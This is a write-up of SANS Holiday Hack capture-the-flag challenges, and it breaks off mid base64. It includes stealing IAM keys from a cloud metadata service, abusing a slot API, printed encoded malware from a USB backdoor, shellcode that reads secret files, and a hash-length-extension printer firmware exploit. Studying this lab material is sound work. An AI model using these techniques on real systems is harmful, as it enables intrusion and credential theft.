Host: 34.76.34.50 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 25/open/tcp//smtp///,
...
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (985)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (987)"
elf@1fa87d8e350c:~$ cat bigscan.gnmap | grep -e "filtered (988)"
Host: 34.78.10.40 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh///, 25/open/tcp//smtp///, 110/open/tcp//pop3///, 135/open/tcp//msrpc///, 137/open/tcp//netbios-ns///, 139/open/tcp//netbios-ssn///, 143/open/tcp//imap///, 445/open/tcp//microsoft-ds///, 993/open/tcp//imaps///, 995/open/tcp//pop3s///, 3389/open/tcp//ms-wbt-server/// Ignored State: filtered (988)
So if the least filtered ports is 988, then there must be 12 open ports (1000-988)
12
The better answer is to use awk as described:
FrostFest Terminal Challenge 2: Frostavator
Grody has wired up Jack's elevator incorrectly, so it's no longer working. He wants us to fix it.
The first challenge seems to be getting to the logic gates. Inspecting the HTML and deleting the node <div class="cover">
seems to work.
For input we have: 1 x 0 -> a 1 x 0 -> b 1 x 0 -> c a x b -> 1 a x c -> 1 b x c -> 1 and the gates: XOR (true if the inputs are different) OR (true if the inputs are different or both on) AND (true if the inputs are both on) NAND (true if the inputs are different or both off) NOR (true if the inputs are the same) XNOR (true if the inputs are the same)
So we can deduce from there, that XOR, OR and NAND can be used to turn on the top row, but that leaves NOR to ruin the bottom row.
Instead, if we just pick randomly and put OR and NOR at the top, that makes a true and b false. We can then put XOR or NAND below it.
On the bottom right, at least one input is off, so XOR, NAND and XNOR are all possibilities.
For the bottom middle, the possibilities are XOR, AND, NAND and XNOR
AND fits in the fewest places, so if we put that in the top right, then c is 0, so we've got to make:
1 x 0 -> 1 (XOR / NAND) 1 x 0 -> 1 (XOR / NAND) 0 x 0 -> 1 (NAND)
Other configurations are possible:
So all the outputs are lit up, but I haven't got the achievement. What's going on?
Looking in the console shows the issue:
Turns out it needs you to not delete the "cover" div. If you have a small screen, you just need to zoom out to find the proper way to remove the cover:
Resolving with the solution above now gets the achievement.
I don't have much relevance for this; grep is just a wonderful tool for searching for things.
FrostFest Terminal Challenge 3: IMDS Exploration
This challenge is more of a walkthrough. It's well-explained, so I don't really have much to add. Below is just the text, in case I need to reference/search for it later. Unless you're looking for something specific, it's worth skipping to the next challenge.
The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address
169.254.169.254. Send a couple ping packets to the server.
> ping -c 2 169.254.169.254
IMDS provides information about currently running virtual machine instances. You can use it to manage and configure cloud nodes. IMDS is used by all major cloud providers. Run 'next' to continue.
> next
Developers can automate actions using IMDS. We'll interact with the server using the cURL tool. Run 'curl http://169.254.169.254' to access IMDS data.
> curl http://169.254.169.254
Different providers will have different formats for IMDS data. We're using an AWS-compatible IMDS server that returns 'latest' as the default response. Access the 'latest' endpoint. Run 'curl http://169.254.169.254/latest'
> curl http://169.254.169.254/latest
IMDS returns two new endpoints: dynamic and meta-data. Let's start with the dynamic endpoint, which provides information about the instance itself. Repeat the request to access the dynamic endpoint: 'curl http://169.254.169.254/latest/dynamic'.
> curl http://169.254.169.254/latest/dynamic
The instance identity document can be used by developers to understand the instance details. Repeat the request, this time requesting the instance-identity/document resource: 'curl http://169.254.169.254/latest/dynamic/instance-identity/document'.
> curl http://169.254.169.254/latest/dynamic/instance-identity/document'.
Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON) format. Piping the output to 'jq' will make the content easier to read. Re-run the previous command, sending the output to JQ: 'curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq'
> curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq
Here we see several details about the instance when it was launched. Developers can use this information to optimize applications based on the instance launch parameters. Run 'next' to continue.
> next
In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as well. Examine the metadata elements available: 'curl http://169.254.169.254/latest/meta-data'
This time I tried to be smart and pre-empted using jq. But it's not JSON this time! Pipe it to less if you want to read everything.
> curl http://169.254.169.254/latest/meta-data
By accessing the metadata elements, a developer can interrogate information about the system. Take a look at the public-hostname element: 'curl http://169.254.169.254/latest/meta-data/public-hostname'
> curl http://169.254.169.254/latest/meta-data/public-hostname'
Many of the data elements returned won't include a trailing newline, which causes the response to blend into the prompt. Re-run the prior command, adding '; echo' to the command. This will add a new line character to the response.
> curl http://169.254.169.254/latest/meta-data/public-hostname; echo
There is a whole lot of information that can be retrieved from the IMDS server. Even AWS Identity and Access Management (IAM) credentials! Request the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials' to see the instance IAM role.
> curl http://169.254.169.254/latest/meta-data/iam/security-credentials
Once you know the role name, you can request the AWS keys associated with the role. Request the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role' to get the instance AWS keys.
> curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role
So far, we've been interacting with the IMDS server using IMDSv1, which does not require authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This is more secure, but not on by default. Run 'next' to continue.
> next
For IMDSv2 access, you must request a token from the IMDS server using the X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be used for (between 1 and 21,600 secods). Examine the contents of the 'gettoken.sh' script in the current directory using 'cat'.
> cat gettoken.sh
This script will retrieve a token from the IMDS server and save it in the environment variable TOKEN. Import it into your environment by running 'source gettoken.sh'.
> source gettoken.sh
Now, the IMDS token value is stored in the environment variable TOKEN. Examine the contents of the token by running 'echo $TOKEN'.
> echo $TOKEN
The token (Uv38ByGCZU8WP18PmmIdcpVmx00QA3xNe7sEB9Hixkk=) looks like base64, but doesn't seem to decode, which is interesting.
With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token header to the curl request. Access the metadata region information in an IMDSv2 request: 'curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region'
> curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region
Relevance: IMDS can be used in scripts when starting up projects on EC2, but also by attackers to access sensitive data.
FrostFest Terminal Challenge 4 (Bonus): Log4J Red Team
I've been dealing with Log4shell at work (and the debates over whether to call it Log4j or "LogForge" (obviously the former), so I'm not too keen to write too much about this in my free time. Fortunately, Josh Wright has written up a great walkthrough here.
There's really not much I can add to it, other than perhaps:
- I'd probably recommend trying an osbfucated payload - virtually everything now seems to be blocking ${jndi.
- It didn't seem particularly clear to me why the path needs to be "/solr/admin/cores" It appears that all parameters are logged by default, so you just have to find a valid path on the site. This is a bit harder to achieve, and it seems like you'd only find it by searching for Solr admin rest API.
The solution
The solution to Log4shell is patching.Sincerely,
Santa
Objective 1: KringleCon Orientation
The first objective is just a intro into how KringleCon works and where to find hints, objectives and objects. I can't explain it better than SANS have, so just go do it yourself.
Objective 2: Where in the World is Caramel Santaigo
I initially completed this manually, using just a basic Google search or whois
when an IP was given. Try often enough (I tried about four times) and you'll solve this even if you ignore the three word location hints. I reckon it's worth playing a couple of times anyway, since the clues taught me about locations, festivities and cellular bands (?)
I was a little confused by the image that's presented to you when you encounter an elf, and wondered if it might be a giveaway, but had no luck there.
It's always "elf8", so I wondered if that might mean it's the eight in the list. The elves are always listed in the same order though:1. Caramel Santaigo 2. Sparkle Redberry 3. Morcel Nougat 4. Jingle Ringford 5. Jewel Loggins 6. Fitzy Shortstack 7. Ginger Breddie 8. Piney Sappington 9. Ribb Bonbowford 10. Noel Boetie 11. Tinsel UpatreeI also tried looking for the other elves without luck. Where are the first seven?
I would've left it there, figuring it was just a lesson in IP geolocations and a celebration of culture, if it wasn't for Piney Sappington's hint about flask cookies. It turns out the game is setting a cookie Cookiepella. Copy its value and put it into CyberChef with the recipe "From Base64 (url-safe)" followed by "Magic", and it'll find that it's just text that's been Zlib deflated and then converted to base64.
The results look like:
{"day":"Monday","elf":"Tinsel Upatree","elfHints":["The elf got really heated about using tabs for indents.","They kept checking their Snapchat app.","Oh, I noticed they had a Star Trek themed phone case.","The elf mentioned something about Stack Overflow and Python.","hard"],"hour":9,"location":"Santa's Castle","options":[["Edinburgh, Scotland","Stuttgart, Germany","Rovaniemi, Finland"],["Antwerp, Belgium","Vienna, Austria","Stuttgart, Germany"],["Rovaniemi, Finland","Stuttgart, Germany","New York, USA"],["Placeholder","Vienna, Austria","New York, USA"]],"randomSeed":832,"route":["Edinburgh, Scotland","Antwerp, Belgium","New York, USA","Placeholder"],"victoryToken":"{ hash:\"a522b0d75d6c0c9bc958fae3f197ad0bb28234c33ed0edabd6946835ba42a7c9\", resourceId: \"903003c5-f083-4a4c-ab36-251793c5d42c\"}"}
So this lets us solve the challenge easily, but can we change it? The hash inside the token is consistent, so that provides some hope.
The first thing to note is the cookie's format: .{zlib deflated elf details}.{timestamp}.{hmac} (Source). When decoding, CyberChef conveniently ignores the irrelevant data after the zlib part; other programs aren't so nice. When encoding though, this means we have to be very careful to remember to re-add it, otherwise the server will immediately discard it.
Unfortunately that last part poses a bit of a problem: if we change the elf details, the hmac will no longer be valid. So we need to find the secret key so we can generate our own hmac.
Earlier this year, I came across CookieMonster, a tool designed explicitly for this, and it references Flask Unsign but neither of these could find the key. I assume the SANS team used a secure key, unfortunately, so we'll have to leave it there.
Objective 3: Thaw Frost Tower's Entrance
Jack Frost set the temperature too low, causing the door to Frost Tower to freeze. Grimy McTrollkins wants help connecting to the Wi-Fi connected thermostat inside to set the temperature higher so that the door will defrost.
I started by running a scan to see if the thermostat was within range. Sure enough, the AP exists and is in range. Given the adapter was something I just picked up off the ground, I figured it'd be worth checking if it was connected to anything using iwconfig
; it'd be awfully convenient if Jack had lost it and it already remembered his AP.
elf@69c93f4429cc:~$ iwlist scan
wlan0 Scan completed :
Cell 01 - Address: 02:4A:46:68:69:21
Frequency:5.2 GHz (Channel 40)
Quality=48/70 Signal level=-62 dBm
Encryption key:off
Bit Rates:400 Mb/s
ESSID:"FROST-Nidus-Setup"
elf@69c93f4429cc:~$ iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=22 dBm
Retry:off RTS thr:off Fragment thr=7 B
Power Management:on
No such luck. So how do we tell it what to connect to? According to man iwconfig
, you can specify essid. We found that above, so this should be easy.
elf@69c93f4429cc:~$ iwconfig essid "FROST-Nidus-Setup"
iwconfig: unknown command "FROST-Nidus-Setup"
elf@69c93f4429cc:~$ iwconfig wlan0 essid "FROST-Nidus-Setup"
** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup
(The setup is compatible with the 'curl' utility)
. Oops; as you can see, it's important to remember to tell the adapter which interface to listen on.
Nice; the output tells us what to connect to, and continues to tell us the next steps from here:
elf@69c93f4429cc:~$ curl http://nidus-setup:8080/
◈──────────────────────────────────────────────────────────────────────────────◈
Nidus Thermostat Setup
◈──────────────────────────────────────────────────────────────────────────────◈
WARNING Your Nidus Thermostat is not currently configured! Access to this
device is restricted until you register your thermostat » /register. Once you
have completed registration, the device will be fully activated.
In the meantime, Due to North Pole Health and Safety regulations
42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature.
API
The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc
elf@69c93f4429cc:~$ curl http://nidus-setup:8080/apidoc
◈──────────────────────────────────────────────────────────────────────────────◈
Nidus Thermostat API
◈──────────────────────────────────────────────────────────────────────────────◈
The API endpoints are accessed via:
http://nidus-setup:8080/api/
Utilize a GET request to query information; for example, you can check the
temperatures set on your cooler with:
curl -XGET http://nidus-setup:8080/api/cooler
Utilize a POST request with a JSON payload to configuration information; for
example, you can change the temperature on your cooler using:
curl -XPOST -H 'Content-Type: application/json' \
--data-binary '{"temperature": -40}' \
http://nidus-setup:8080/api/cooler
● WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture
Available endpoints
┌─────────────────────────────┬────────────────────────────────┐
│ Path │ Available without registering? │
├─────────────────────────────┼────────────────────────────────┤
│ /api/cooler │ Yes │
├─────────────────────────────┼────────────────────────────────┤
│ /api/hot-ice-tank │ No │
├─────────────────────────────┼────────────────────────────────┤
│ /api/snow-shower │ No │
├─────────────────────────────┼────────────────────────────────┤
│ /api/melted-ice-maker │ No │
├─────────────────────────────┼────────────────────────────────┤
│ /api/frozen-cocoa-dispenser │ No │
├─────────────────────────────┼────────────────────────────────┤
│ /api/toilet-seat-cooler │ No │
├─────────────────────────────┼────────────────────────────────┤
│ /api/server-room-warmer │ No │
└─────────────────────────────┴────────────────────────────────┘
elf@69c93f4429cc:~$ curl -XPOST -H 'Content-Type: application/json' --data-binary '{"temperature": 40}' http://nidus-setup:8080/api/cooler
{
"temperature": 39.4,
"humidity": 48.57,
"wind": 24.12,
"windchill": 44.69,
"WARNING": "ICE MELT DETECTED!"
}
An aside on "Nidus"
According to Google, Nidus means "a focus of infection" or "a place or situation in which something develops or is fostered", which seems appropriate for the entrance of Jack's castle. It also translates to Nest, so perhaps a nod to Google's thermostat. I guess it'd be a compliment to suggest it could be powerful enough to completely freeze a door (or defrost it in the North Pole!).I believe the relevance of this challenge is simply that WiFi is now ubiquitous and it can be helpful to have commandline tools to interact with them (especially for pentesting).
Objective 4: Slot Machine Investigation
Hubris Selfington is concerned that there must be a problem with one of the slot machines since it's paying out money. He needs help figuring out what the flaw is. The machine is running at slots.jackfrosttower.com.Looking at the page, I'm not still not 100% sure how the game works, but I think: there are different trolls that have various payouts depending on whether you have three, four or five of them in a line. You can choose how much to bet by varying the bet size and bet amount, and then you can spin. Of course casinos want to make it as easy as possible for people to keep betting money, so you can also just autospin to lose everything in one simple click. Spinning a couple of times shows the machine isn't just broken; you have to actively make it payout more than a little.
Looking at the JavaScript shows there's an "offline" client and a service worker; so perhaps it's trusting client-side data too much?
In c3runtime.js, several variables are set, including WinAmount
. We can set a breakpoint in the code and overwrite that to see what happens:
When you win, it says "Frigid!". Unfortunately, this isn't the answer; the server is not trusting the client's data, so it still knows we lost. Refreshing the page show our credit has decreased, not increased.
The next step is to look at what the server is sending and receiving. After opening the website in Burp and looking at the proxy, I can see three values are being sent to https://slots.jackfrosttower.com/api/v1/<guid>/spin: betamount, numline and cpl. Betamount is obvious, and sending anything other than a non-negative number causes an error message "Betamount must be a number.; The betamount must be greater than or equal 0."
I'm not sure what numline is about, but it must be between 1 and 20. 0 and non-digits cause an error message saying it's not valid, 21+ causes a "server error". That's a bit interesting, since it might mean something exploitable. According to the X-Powered-By header, it's using PHP so it could be worth looking into type juggling attacks, but probably not integer overflows (unless the header is lying)
cpl says 0 and non-digits are invalid but doesn't seem to have an upper bound. All three require numbers, so it doesn't seem like XSS is possible here (not that it'd be of use anyway, but it's always a fun challenge).
At this point, I got a little distracted trying to figure out how the server was tracking state, and why the cookies were there.
It seems to be using the GUID, but there are also two almost identical cookies: XSRF-TOKEN and slots_session. XSRF-TOKEN was set to same-site=Lax and as bets required making a POST request, this could be used to prevent an attacker from tricking someone into making a bet. Naturally, Jack Frost would be happy for cross-site request forgery, and probably has a phising site all set up, so this cookie doesn't seem to be checked.
But why are they there, and why are there two? I said before that they're virtually the same: slots_session is HTTP-only while XSRF-TOKEN isn't. That means JavaScript can access the XSRF-TOKEN, which isn't ideal if you're trying to prevent XSRF, since it could be accessed if there's an XSS flaw in slots.jackfrosttower.com. There is no use of it in the JavaScript as far as I could see though, so there doesn't seem to be a reason for this.
I tried to find other pages that might explain this; there's no robots.txt or meta tag blocking Google for indexing the page, so I tried Googledorking but it found nothing. Ultimately, I couldn't figure out anything they were used for, so this remains a mystery to me.
Getting back to the original problem, I figured I should probably figure out what numlines and cpl actually mean.
Instead I went on another tangent.
Searching for it in JavaScript finds it's used in SlotGame, which doesn't seem to be called, but is referenced asC3.Plugins.NhutCorp_SlotGenPHP.Acts.SpinGame
. Searching for that brings us to a page of templates that appear to be for Wordpress, and which seem a little suspicious.
It does seem like a legitimate site though, and not actually related to Sans, so I realised I should stop looking there, and try to confirm the slots website is indeed running Wordpress. All of the common Wordpress URLs that I manually checked appear to be disabled, and I didn't want to run a scan since it's unlikely we really need to know; this was entirely for curiosity's sake.Actually back to the task this time, I couldn't figure out what numlines or cpl were from the JavaScript code, but perhaps it'll be obvious when I change their values.
Changing numline doesn't seem to make a difference; it returns 15 SlotIcons regardless (which is what I'd expect to change), and doesn't seem to make any noticable difference to the probability of winning.
Changing cpl to negative makes the credit increase even without winning. Perhaps it stands for cost per line? Therefore, we can set numlines high and cpl to something very negative, and quickly get our credit high enough to piss off Jack.
Scrolling to the bottom shows us Jack's response: "I'm going to have some bouncer trolls bounce you right out of this casino!"
Objective 5: Strange USB Device
A malicious USB has been found and Morcel Nougat wants us to figure out who is responsible.
If we run ls
we can see "mallard.py" is installed. Running python mallard.py
shows us the command line argument we're after is --file
, so we can add that and then use tab complete from there to fill out our command: python mallard.py --file /mnt/USBDEVICE/inject.bin
From the code, we can see that it is opening /bin/bash, creating a directory (and parents) ~/.config/sudo, creating a new sudo
script that behaves like the normal one, except that it also sends the password (and whether it is valid or not) to trollfun.jackfrosttower.com:1337 (a domain that doesn't resolve publicly :( ). It then updates the path, so that the backdoored sudo is found first (and thus run instead of the real sudo). It then writes some binary data, removes the bash history to hide its tracks and quits.
The binary data is interesting; let's see what that means by running it:
echo ==gCz1XZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhN1RyQ1UkdFZopkbS1EbHpFSwd1VRJ1RVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNX11ZrhkYzZ0Va1nQDRmd1cUS6x2RJpHbHFWVC1HZOpVVTpnWwQFdSdEVIJ1RS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZId1WKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d
Note: we don't want to add the | bash
part, since we don't want this malicious code to actually run. We just want to be able to read it.
The output shows that it's adding an ssh key for ickymcgoop@trollfun.jackfrosttower.com to the authorized ssh keys. This will allow ickymcgoop permanent ssh access to the compromised machine. So our answer is ickymcgoop
Relevance
Malicious USB attacks have been pretty common, including used in Stuxnet, an attack by several government agencies to delay Iran's nuclear development.
There are now affordable pre-made USBs for this attack as well as instructions to create your own for a couple of dollars. USBs aren't used so often anymore though, so it seems like charging cables may be the next big thing. Given the price of cables, who'd pass on picking up one of them?
Objective 6: Shellcode Primer
For this objective, we're just given a wonderful intro into writing shellcode. I've been meaning to properly learn shellcode for a while but I'm always distracted by something easier, so I really appreciated this intro!
1. Introduction
2. Loops
These both just require you read the details and then press enter.
3. Getting Started
Add ret
to the bottom of the code
4. Returning a value
We use rax
to store whatever value we want to return. So this time our code should be
mov rax, 1337
ret
5. System calls
To make a system call, we have to move the method number into rax
, and move the parameters into rdi, rsi, rdx
(in that order). So our code should be:
mov rax, 60 ; According to the linked table,sys_exit is #60
mov rdi, 99 ; We want to return the code 99
syscall ; no need to ret since sysexit will do that.
6. Calling Into the Void
Just press enter. The execution crashes since we overwrote the stack with the value 12345678, but there's nothing that can be run there.
7. Getting RIP
We just have to add pop rax
into the template provided:
; Remember, this call pushes the return address to the stack
call place_below_the_nop
; This is where the function *thinks* it is supposed to return
nop
; This is a 'label' - as far as the call knows, this is the start of a function
place_below_the_nop:
; TODO: Pop the top of the stack into rax
pop rax
; Return from our code, as in previous levels
ret
8. Hello, World!
We can choose whatever label we want; we just have to call it before the db 'Hello World',0
and put the label below. That gives us:
; This would be a good place for a call
call label
; This is the literal string 'Hello World', null terminated, as code. Except
; it'll crash if it actually tries to run, so we'd better jump over it!
db 'Hello World',0
; This would be a good place for a label and a pop
label:
pop rax
; This would be a good place for a re... oh wait, it's already here. Hooray!
ret
9. Hello, World!!
We can combine our answers from #8 and #5. sys_write is syscall #1, takes the fd to write to (in our case stdout which is #1), the buffer an the string size. So we want to put 1 into rdi, "Hello World" into rsi (instead of rax like we did last time), 12 into rdx (the length of "Hello World" and then call syscall:
call label
db 'Hello World!',0
label:
pop rsi ; set buffer to hello world
mov rax, 1 ; set call to syscall
mov rdi, 1 ; write to stdout
mov rdx, 12 ; length of bytes to write
syscall
ret
10. Opening a File
call label
db '/etc/passwd',0
label:
pop rdi ; move /etc/password into rdi
mov rax, 2 ; sys_open is #2
mov rsi, 0 ; no flags
mov rdx, 0 ; no mode
syscall ; syscall sets rax to the file handle
ret
11. Reading a File
Now we have to put together everything we learnt previously. First, open the file:
call begin
db '/var/northpolesecrets.txt',0
begin:
pop rdi ; move /var/northpolesecrets.txt into rdi
mov rax, 2 ; sys_open is #2
mov rsi, 0 ; no flags
mov rdx, 0 ; 0 = reading so that's fine
syscall ; sys_open sets rax to the file handle
now we have the file open, we have to read it:
mov rdi, rax ; move the fp into rdi before we write rax
mov rax, 0 ; sys_read is #0
mov rsi, rsp ; Use rsp as a buffer
mov rdx, 1000 ; read 1000 bytes
syscall ; sys_read sets rax to the data read, r0 to the count
. Now that we've read the file, we just need to write it to stdout:
mov r10, rdi ; save the file pointer
mov rdx, rax ; move the length into rsi before we overwrite it
mov rax, 1; sys_write is #1
mov rdi, 1 ; stdout is #1
syscall ; write to stdout
In theory, we'd now want to close the file since there is a maximum number of open file descriptors, but when I tried to, I got an error message saying I wasn't allowed to use that many sys calls:
; mov rdi, r10 ; move the fp back to rdi
; mov rax, 3 ; sys_close is #3
; syscall ; close the file!
Either way, we do have to exit. We can't just return since we've messed up the stack to add the filename, so we'll call sysexit instead:
mov rax, 60 ; sysexit
mov rdi, 1 ; exit code 1
syscall ; exit
This gives us the value of northpolesecrets.txt: Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.
Relevance
Shellcode is typically used after buffer overflows when you can control the stack but can't run high-level programs. Apparently there are types of shellcode, but in this case it's also assembly language which is used for high-performance programs, low-level devices and injecting code in existing binaries.Objective 7: Printer Exploitation
FrostFest have stolen KringleCon's printer and printed something. We need to read the contents of /var/spool/printer.log
to figure out what the last printed thing is.
It looks like accessing anything of interest on the printer (such as Wi-Fi settings) requires a password which I don't have. I can, however, upload and download firmware. Downloading it produces a JSON file containing base64 data, a signature and evidence that the signature is created using SHA256 with a secret length of 16 (so likely too long to crack, unless it's passwordpassword?). Unfortunately chucking it in CyberChef suggests prepending "passwordpassword" does not create the right signature.
This looks like base64 data, so I ran echo <data> | base64 -d > data
and then file data
to figure out it's a zip file. unzip data
extracts "firmware.bin", which file firmware.bin
says is an "ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped". AKA, a Linux executable. Looking at that in Ghidra shows it just prints "Firmware is up to date" and then exits, so there doesn't seem to be too much that could be done with that. I think the only option is to add another binary to control the printer.
Another of the hints is that "files placed under /app/lib/public/incoming will be visible at https://printer.kringlecastle.com/incoming/". My C skills are quite rusty, and Firewalls could get in the road of a reverse shell, so for now, I'll just stick to the objective and create a binary that copies "printer.log" to "incoming/zysygy.log" (an unusual path is necessary so that other participants don't accidentally stumble across it. A GUID might be better, but SANS seem to be regularly purging that directory, so I think zysygy is good enough). Here's my code:
#include
#include
int main() {
FILE *fptr1, *fptr2;
// Open one file for reading
fptr1 = fopen("/var/spool/printer.log", "r");
if (fptr1 == NULL)
{
exit(0);
}
// Open another file for writing
fptr2 = fopen("/app/lib/public/incoming/zysygy.log", "w");
if (fptr2 == NULL)
{
exit(0);
}
// Read contents from file
int c = fgetc(fptr1);
while (c != EOF)
{
fputc(c, fptr2);
c = fgetc(fptr1);
}
fclose(fptr1);
fclose(fptr2);
return 0;
}
gcc printer.c
clang --target=aarch64-unknown-linux-gnu -c ~/Desktop/printer.c
. Unfortunately that can't find the header files. I suspect there's probably something that you can install to fix it, but I specifically bought a laptop and put Kali Linux on it just for the Sans Holiday Hack, so I opted for the lazy route and just compiled it on that.Now that I have a binary, I have to find a way to get the printer to run it. The upload page says that it has to be a "signed firmware blob", and one of the hints we are given, is hash length extension attacks, so it's probably time to download that:
~ git clone https://github.com/iagox86/hash_extender.git
~ cd hash_extender
~ make
There are some issues getting it to run on Mac.
If it complains about not being able to find md4, you probably need tobrew install openssl
. This will print a warning: For compilers to find openssl@3 you may need to set: export LDFLAGS="-L/usr/local/opt/openssl@3/lib" export CPPFLAGS="-I/usr/local/opt/openssl@3/include"Setting these variables don't help, because the Make file doesn't actually use them. Instead, you need to open up the makefile and add them in there.
Running ./hash_extender
shows the options. We'll want to use:
--file
with the path to the original, signed file--appendfile
with the path to our compiled data-s 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97
to give the original signature-l 16
to give the secret length of 16-f sha256
, since that's the hash type--out-signature-format hex
, probably the default and not necessary, but I'm not 100% sure so it's safer to just specify it.--out-data-format raw
. I think the default is string which means the zip will be invalid.--out-file
and the path to the file we'll need to base64-encode.
It took me a while to figure out what the printer was actually signing. The base64 could at least be discarded quickly; concatenating base64 will make it invalid because of the padding characters. So it's either the zip file or the binary.
To begin with, I thought it was the raw binary files; if I tried appending anything to my zip files, my tools would complain about them being invalid. In retrospect, though, it clearly doesn't make sense to sign a binary: there's only one signature, so only one file could be allowed. Why bother with zipping them then?
One way to confirm the zip had to be signed was to rezip the original, unmodified firmware.bin and base64-encode it. Due to metadata in the zip, this changed the base64 data and caused the printer to reject it, even though the binary and the signature were both definitely valid.
So now that I'm confident the zip has to be signed, I just have to figure out what to add to it; just my binary, or a zip of my binary?
I started with just my binary, which said the firmware updated successfully but didn't actually work (Something went wrong)
I then created a zip of my binary and tried that, which led to this interesting error message:
Failed to parse the ZIP file: Could not extract firmware.bin from the archive: $ unzip '/tmp/20220104-1-1i3z3rr' 'firmware.bin' -d '/tmp/20220104-1-1i3z3rr-out' 2>&1 && /tmp/20220104-1-1i3z3rr-out/firmware.bin Archive: /tmp/20220104-1-1i3z3rr warning [/tmp/20220104-1-1i3z3rr]: 2608 extra bytes at beginning or within zipfile (attempting to process anyway) caution: filename not matched: firmware.bin
So it looks like the name is really important. I renamed my binary to "firmware.bin" and zipped it into firmware.zip (I don't think the zip name matters, but it's easier than thinking of a new name):
./hash_extender --file original.zip --appendfile firmware.zip -s 2bab052bf894ea1a255886fde202f451476faba7b941439df629fdeb1ff0dc97 -l 16 -f sha256 --out-signature-format hex --out-data-format raw --out-file new.zip
Type: sha256
Secret length: 16
New signature: 3a598fe4f3c06149e8bef83fbcdc8dff75aca081d9199f5879348e6cd5eb915a
New string:
base64 new.zip
The details from here can be used to create the json file
{"firmware":"UEsDBBQAAAAIAEWlkFMWoKjwagkAAOBAAAAMABwAZmlybXdhcmUuYmluVVQJAAOipLthoqS7YXV4CwABBAAAAAAEAAAAAO1bX2wcRxmfvfPZ5zpen9OEOE7Al5JIDuTOl6R2HVo3Pttnr9HFMakd1FBns/aufUfvj3u3R+wAIuBSOBWXPlSoD+0LeUklkCh9gQfUBFuVKihKHioiQZEJqeRGoF5UiFJIvczszrfemdtrygvwsJ90+9vvm+83M/vN7HrWO9+3EslhnyAgED96FBFtPGTp/dR+5ojtgm29qAkfP4M+jeqxXufw4zHlYzFot2PxLlI7j7sRi4ID61BtORNgEYU2eQGHzuNbAotOntlemNo5TAksOnkkNusRS1/vY1Gi1znuY3k+yrtDeXf6WFwTWIR41tHfKq2PxyHEIsRw/F1dJed76fXw+AhiEXhfwrx69MkFwn2CtlcrLm0+FiGsXZn0dM+DXRk1kknnSguRhd6eSM+D0WI+esjsU4j6joxNmv5kfkFoSfk2aiPld8/+qPmtt/e8JAy1hAZfOyVWfvuX6xB3GDeEvm0e4Rqvar/Lftz1ke6HXexN+LfVxd5Rw/54jXpSNezkuh9w6xCO1wwJTw+aL+lFJMszC4o8m84pmfQ5DaukXC7qSkGXs0o6h0aSowOD8qHooWg3kkcnjsmqVtDm0kVdK0wcG8zkc9qEMp0hzLlsPkeZsuXq6kjER8fAh+MqmLGFeVBqTzcS+0Gqw/jDfI61Wljh7BVaQWc/awf92lELYSxB1hx2v8O+7rA7nysVhz3gsN9x2J3zv42234A2550nnnjiiSeeeOKJJ578v4m09Neg9GzgnS58+t1Lus+4Ii2tBlfscqP7Oi4y9t3Ax5aOfnxGdPI2gt5bM7Ds+znWZ58H/4N/Gy1fPS2Vr0tLNyrjE8nlwCm8DJeWmz8gjS33XSZ1bp/FnL+3dAyZpldI28uBHxM4ckffjrvzKO1Oo7HW0nGe1LtCEfsvmv7dBQL7N6TLG36pXJEurx+VhDekqxv6NlzBdlpB0FibNdsB/vm+I7gIlbompaW+21FSY/ldfYv0bF97F3krxVe0nsKHNwKtWBemVrj23/s6LpzEHBy4UPmbd6VyqYL79EsRk9c2DOMXxOnNFdzo02Y84l8eLf8+fnK0fDs+GS9/FMcR2Td/AKFJaTlC8LHkflJVcL2IydLlj/z6roN/aOlAyfI/k+XbQ+X348a2P0pLK4J05J3STTI2X5mKPxGfip+Oy7hPaAXGkBk1TzzxxBNPPPHEE0888cQTTzxhRUA+NJwuZM8qBS2cLoZnS5nMYrg0H9bzYVXRtT3EZ5f/4V5kfe+6+75hkDfb3RXD+AnGAxgnMLbeMoxVjI9gvIHxJYwHBOu7q9nOuRNIWAgJu7Y0BJ8XGkLETr7tX8H1fd7RH3d/hPZS/3nsHyYOYmhYbPtiS9PZ4Hl0tP3hzx3e+wDwyTfuFPYLOuol3CfwL4H7azrGxdAzvsHm+incAOV8A//GcfkUKR8QQz/0JcS25/wJMbxclxA7fxCQxNgz9ZLYu9QwIvZ/VeyNi7G42Dkg